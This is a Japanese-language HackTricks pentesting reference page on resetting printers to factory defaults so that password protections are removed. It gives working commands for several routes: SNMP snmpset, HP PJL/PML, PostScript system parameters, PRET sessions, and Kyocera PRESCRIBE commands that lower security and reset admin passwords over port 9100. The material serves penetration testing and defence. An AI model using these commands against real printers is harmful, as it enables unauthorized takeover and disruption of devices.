hacktricks/network-services-pentesting/pentesting-printers/factory-defaults.md
2023-07-07 23:42:27 +00:00

8.9 KiB
Raw Blame History

☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥

デバイスを工場出荷時の設定にリセットすることは、ユーザーが設定したパスワードなどの保護機構を上書きするため、セキュリティ上重要な機能です。これは通常、プリンタのコントロールパネル特殊なキーコンビネーションを押すことで行うことができます。このような冷たいリセットは数秒で行われるため、昼食時にコピー室に忍び込むなど、現地の攻撃者やペネトレーションテスターにとって現実的なシナリオです。ただし、デバイスへの物理的アクセス常に可能であるわけではありません。

SNMP

Printer-MIBでは、prtGeneralResetオブジェクト(OID 1.3.6.1.2.1.43.5.1.1.3.1が定義されており、これを使用して攻撃者はSNMPを介してデバイスを再起動powerCycleReset(4)、NVRAMの設定をリセットresetToNVRAM(5)、または工場出荷時の設定に復元resetToFactoryDefaults(6))することができます。この機能/攻撃は、さまざまなプリンタでサポートされており、埋め込みWebサーバのユーザー設定パスワードなどのすべての保護機構が削除されます。保護機構は効率的にバイパスできますが、このアプローチの実用的な欠点は、すべての静的IPアドレスの設定が失われるということです。DHCPサービスが利用できない場合、デバイスを工場出荷時の設定にリセットした後、攻撃者はデバイスに再接続することができません

デバイスを工場出荷時の設定にリセットするには、以下に示すようにsnmpsetコマンドを使用します(ほとんどの場合、デフォルトでコミュニティストリングpublicです)。

snmpset -v1 -c public printer 1.3.6.1.2.1.43.5.1.1.3.1 i 6

PML/PJL

多くのシナリオでは、ファイアウォールや不明なSNMPコミュニティ文字列のために、攻撃者はSNMPリクエストを実行する能力を持っていません。しかし、HPデバイスでは、SNMPをそのPML表現に変換し、リクエストを正当な印刷ジョブに埋め込むことができます。これにより、以下に示す通常の印刷ジョブ内で、攻撃者はデバイスを再起動および/または工場出荷時の設定にリセットすることができます。

@PJL DMCMD ASCIIHEX="040006020501010301040106"

誰でもこの攻撃をHPプリンターに対して再現することができます。デバイスの再起動やリセットは、PRETを使用して簡単に再現することができます。

./pret.py -q printer pjl
Connection to printer established

Welcome to the pret shell. Type help or ? to list commands.
printer:/> reset
printer:/> restart

PostScript

PostScriptは同様の機能を提供しますFactoryDefaultsシステムパラメータは、「プリンタの電源を切る直前trueに設定されるフラグで、次回の電源オン時にすべての非ボラティルパラメータが工場出荷時のデフォルト値に戻る」というものです。ただし、PostScript自体も環境を再起動する機能を持っていますが、有効なパスワードが必要です。 しかし、PostScriptインタプリタは、ドキュメント処理のDoS攻撃で議論されているように、無限ループに入れることができ、これによりユーザーはデバイスを手動で再起動し、PostScriptのパスワードをリセットする必要があります。

PostScriptシステムパラメータを工場出荷時のデフォルト値にリセットします

<< /FactoryDefaults true >> setsystemparams

PostScriptインタプリタと仮想メモリを再起動します

true 0 startjob systemdict /quit get exec

誰でもプリンタのPostScriptインタプリタを再起動またはリセットすることができます。これはPRETを使用して簡単に再現できます。

./pret.py -q printer ps
Connection to printer established

Welcome to the pret shell. Type help or ? to list commands.
printer:/> reset
printer:/> restart

PRESCRIBE

Kyoceraデバイスでは、PRESCRIBEページの記述言語を使用して、以下に示すコマンドのいずれかを使用して、通常の印刷ジョブからデバイスを工場出荷時の設定にリセットすることができます。

!R! KSUS "AUIO", "CUSTOM:Admin Password = 'admin00'";  CMMT "Drop the security level, reset password";
!R! ACNT "REST";                                       CMMT "Reset account code admin password";
!R! EGRE;                                              CMMT "Reset the engine board to factory defaults";
!R! SIOP0,"RESET:0";                                   CMMT "Reset configuration settings";

この攻撃を再現するには、プリンタのポート9100/tcpに対して生のネットワーク接続を開き、上記に記載されているコマンドを送信します

☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥